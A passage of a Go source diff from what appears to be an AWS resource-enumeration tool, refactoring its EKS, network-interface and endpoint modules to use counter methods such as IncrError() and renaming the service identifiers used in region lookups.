m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -336,7 +336,7 @@ func (m *EKSModule) getEKSRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
|
||||
clusters, err := sdk.CachedEKSListClusters(m.EKSClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -347,7 +347,7 @@ func (m *EKSModule) getEKSRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
|
||||
clusterDetails, err := sdk.CachedEKSDescribeCluster(m.EKSClient, aws.ToString(m.Caller.Account), clusterName, r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
//nodeGroups = append(nodeGroups, DescribeCluster.Cluster.)
|
||||
@@ -373,7 +373,7 @@ func (m *EKSModule) getEKSRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
|
||||
nodeGroupDetails, err := sdk.CachedEKSDescribeNodeGroup(m.EKSClient, aws.ToString(m.Caller.Account), clusterName, nodeGroup, r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
role = aws.ToString(nodeGroupDetails.NodeRole)
|
||||
|
||||
@@ -73,7 +73,7 @@ func (m *ElasticNetworkInterfacesModule) ElasticNetworkInterfaces(outputDirector
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
m.CommandCounter.IncrPending()
|
||||
go m.executeChecks(region, wg, dataReceiver)
|
||||
|
||||
}
|
||||
@@ -199,7 +199,7 @@ func (m *ElasticNetworkInterfacesModule) writeLoot(outputDirectory string) {
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
privateIPsFilename := filepath.Join(path, "elastic-network-interfaces-PrivateIPs.txt")
|
||||
publicIPsFilename := filepath.Join(path, "elastic-network-interfaces-PublicIPs.txt")
|
||||
@@ -219,12 +219,12 @@ func (m *ElasticNetworkInterfacesModule) writeLoot(outputDirectory string) {
|
||||
err = os.WriteFile(privateIPsFilename, []byte(privateIPs), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
err = os.WriteFile(publicIPsFilename, []byte(publicIPs), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), privateIPsFilename)
|
||||
@@ -246,12 +246,12 @@ func (m *ElasticNetworkInterfacesModule) executeChecks(r string, wg *sync.WaitGr
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
m.getDescribeNetworkInterfaces(r, dataReceiver)
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
}
|
||||
}
|
||||
|
||||
@@ -272,7 +272,7 @@ func (m *ElasticNetworkInterfacesModule) getDescribeNetworkInterfaces(region str
|
||||
// )
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
+138
-138
@@ -280,7 +280,7 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getLambdaFunctionsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -289,25 +289,25 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getEksClustersPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
res, err = servicemap.IsServiceInRegion("mq", r)
|
||||
res, err = servicemap.IsServiceInRegion("amazon-mq", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getMqBrokersPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
res, err = servicemap.IsServiceInRegion("es", r)
|
||||
res, err = servicemap.IsServiceInRegion("opensearch-service", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getOpenSearchPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -316,20 +316,20 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getGrafanaEndPointsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
res, err = servicemap.IsServiceInRegion("elb", r)
|
||||
res, err = servicemap.IsServiceInRegion("elasticloadbalancing", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getELBv2ListenersPerRegion(r, wg, semaphore, dataReceiver)
|
||||
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getELBListenersPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -338,19 +338,19 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getAPIGatewayAPIsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getAPIGatewayVIPsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getAPIGatewayv2APIsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getAPIGatewayv2VIPsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -359,7 +359,7 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getRdsClustersPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -368,22 +368,22 @@ func (m *EndpointsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getRedshiftEndPointsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
//apprunner is not supported by the aws json so we have to call it in every region
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getAppRunnerEndpointsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("lightsail", r)
|
||||
res, err = servicemap.IsServiceInRegion("amazonlightsail.com", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getLightsailContainerEndpointsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -394,7 +394,7 @@ func (m *EndpointsModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
panic(err.Error())
|
||||
}
|
||||
f := filepath.Join(path, "endpoints-UrlsOnly.txt")
|
||||
@@ -408,7 +408,7 @@ func (m *EndpointsModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
err = os.WriteFile(f, []byte(out), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
panic(err.Error())
|
||||
}
|
||||
|
||||
@@ -425,8 +425,8 @@ func (m *EndpointsModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
|
||||
func (m *EndpointsModule) getLambdaFunctionsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -434,16 +434,16 @@ func (m *EndpointsModule) getLambdaFunctionsPerRegion(r string, wg *sync.WaitGro
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var public string
|
||||
|
||||
Functions, err := sdk.CachedLambdaListFunctions(m.LambdaClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -455,7 +455,7 @@ func (m *EndpointsModule) getLambdaFunctionsPerRegion(r string, wg *sync.WaitGro
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
continue
|
||||
}
|
||||
endpoint := aws.ToString(FunctionDetails.FunctionUrl)
|
||||
@@ -482,8 +482,8 @@ func (m *EndpointsModule) getLambdaFunctionsPerRegion(r string, wg *sync.WaitGro
|
||||
|
||||
func (m *EndpointsModule) getEksClustersPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -491,15 +491,15 @@ func (m *EndpointsModule) getEksClustersPerRegion(r string, wg *sync.WaitGroup,
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
|
||||
Clusters, err := sdk.CachedEKSListClusters(m.EKSClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -511,7 +511,7 @@ func (m *EndpointsModule) getEksClustersPerRegion(r string, wg *sync.WaitGroup,
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
continue
|
||||
}
|
||||
var endpoint string
|
||||
@@ -545,8 +545,8 @@ func (m *EndpointsModule) getEksClustersPerRegion(r string, wg *sync.WaitGroup,
|
||||
|
||||
func (m *EndpointsModule) getMqBrokersPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -554,14 +554,14 @@ func (m *EndpointsModule) getMqBrokersPerRegion(r string, wg *sync.WaitGroup, se
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
|
||||
BrokerSummaries, err := sdk.CachedMQListBrokers(m.MQClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -584,7 +584,7 @@ func (m *EndpointsModule) getMqBrokersPerRegion(r string, wg *sync.WaitGroup, se
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
continue
|
||||
}
|
||||
if aws.ToBool(BrokerDetails.PubliclyAccessible) {
|
||||
@@ -611,8 +611,8 @@ func (m *EndpointsModule) getMqBrokersPerRegion(r string, wg *sync.WaitGroup, se
|
||||
|
||||
func (m *EndpointsModule) getOpenSearchPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -620,14 +620,14 @@ func (m *EndpointsModule) getOpenSearchPerRegion(r string, wg *sync.WaitGroup, s
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
|
||||
DomainNames, err := sdk.CachedOpenSearchListDomainNames(m.OpenSearchClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -641,7 +641,7 @@ func (m *EndpointsModule) getOpenSearchPerRegion(r string, wg *sync.WaitGroup, s
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -663,7 +663,7 @@ func (m *EndpointsModule) getOpenSearchPerRegion(r string, wg *sync.WaitGroup, s
|
||||
domainConfig, err := sdk.CachedOpenSearchDescribeDomainConfig(m.OpenSearchClient, aws.ToString(m.Caller.Account), r, name)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
if aws.ToBool(domainConfig.AdvancedSecurityOptions.Options.Enabled) {
|
||||
@@ -697,8 +697,8 @@ func (m *EndpointsModule) getOpenSearchPerRegion(r string, wg *sync.WaitGroup, s
|
||||
|
||||
func (m *EndpointsModule) getGrafanaEndPointsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -706,14 +706,14 @@ func (m *EndpointsModule) getGrafanaEndPointsPerRegion(r string, wg *sync.WaitGr
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
|
||||
ListWorkspaces, err := sdk.CachedGrafanaListWorkspaces(m.GrafanaClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -743,8 +743,8 @@ func (m *EndpointsModule) getGrafanaEndPointsPerRegion(r string, wg *sync.WaitGr
|
||||
|
||||
func (m *EndpointsModule) getELBv2ListenersPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -752,16 +752,16 @@ func (m *EndpointsModule) getELBv2ListenersPerRegion(r string, wg *sync.WaitGrou
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
awsService := "ELBv2"
|
||||
|
||||
LoadBalancers, err := sdk.CachedELBv2DescribeLoadBalancers(m.ELBv2Client, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -787,7 +787,7 @@ func (m *EndpointsModule) getELBv2ListenersPerRegion(r string, wg *sync.WaitGrou
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
continue
|
||||
}
|
||||
if scheme == "internet-facing" {
|
||||
@@ -823,8 +823,8 @@ func (m *EndpointsModule) getELBv2ListenersPerRegion(r string, wg *sync.WaitGrou
|
||||
|
||||
func (m *EndpointsModule) getELBListenersPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -832,16 +832,16 @@ func (m *EndpointsModule) getELBListenersPerRegion(r string, wg *sync.WaitGroup,
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
awsService := "ELB"
|
||||
|
||||
LoadBalancerDescriptions, err := sdk.CachedELBDescribeLoadBalancers(m.ELBClient, aws.ToString(m.Caller.Account), r)
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
var public string
|
||||
@@ -883,8 +883,8 @@ func (m *EndpointsModule) getELBListenersPerRegion(r string, wg *sync.WaitGroup,
|
||||
|
||||
func (m *EndpointsModule) getAPIGatewayAPIsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -892,16 +892,16 @@ func (m *EndpointsModule) getAPIGatewayAPIsPerRegion(r string, wg *sync.WaitGrou
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
|
||||
Items, err := sdk.CachedApiGatewayGetRestAPIs(m.APIGatewayClient, aws.ToString(m.Caller.Account), r)
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -914,8 +914,8 @@ func (m *EndpointsModule) getAPIGatewayAPIsPerRegion(r string, wg *sync.WaitGrou
|
||||
|
||||
func (m *EndpointsModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -923,15 +923,15 @@ func (m *EndpointsModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGrou
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
|
||||
Items, err := sdk.CachedApiGatewayGetRestAPIs(m.APIGatewayClient, aws.ToString(m.Caller.Account), r)
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -942,7 +942,7 @@ func (m *EndpointsModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGrou
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
for _, item := range GetDomainNames {
|
||||
@@ -955,7 +955,7 @@ func (m *EndpointsModule) getAPIGatewayVIPsPerRegion(r string, wg *sync.WaitGrou
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -1020,7 +1020,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGateway(r string, api apigatewayType
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
GetResources, err := sdk.CachedApiGatewayGetResources(m.APIGatewayClient, aws.ToString(m.Caller.Account), r, id)
|
||||
@@ -1030,7 +1030,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGateway(r string, api apigatewayType
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
for _, stage := range GetStages.Item {
|
||||
@@ -1059,8 +1059,8 @@ func (m *EndpointsModule) getEndpointsPerAPIGateway(r string, api apigatewayType
|
||||
|
||||
func (m *EndpointsModule) getAPIGatewayv2APIsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -1068,16 +1068,16 @@ func (m *EndpointsModule) getAPIGatewayv2APIsPerRegion(r string, wg *sync.WaitGr
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
|
||||
Items, err := sdk.CachedAPIGatewayv2GetAPIs(m.APIGatewayv2Client, aws.ToString(m.Caller.Account), r)
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
for _, api := range Items {
|
||||
@@ -1090,8 +1090,8 @@ func (m *EndpointsModule) getAPIGatewayv2APIsPerRegion(r string, wg *sync.WaitGr
|
||||
|
||||
func (m *EndpointsModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -1099,15 +1099,15 @@ func (m *EndpointsModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGr
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
|
||||
Items, err := sdk.CachedAPIGatewayv2GetAPIs(m.APIGatewayv2Client, aws.ToString(m.Caller.Account), r)
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -1118,7 +1118,7 @@ func (m *EndpointsModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGr
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
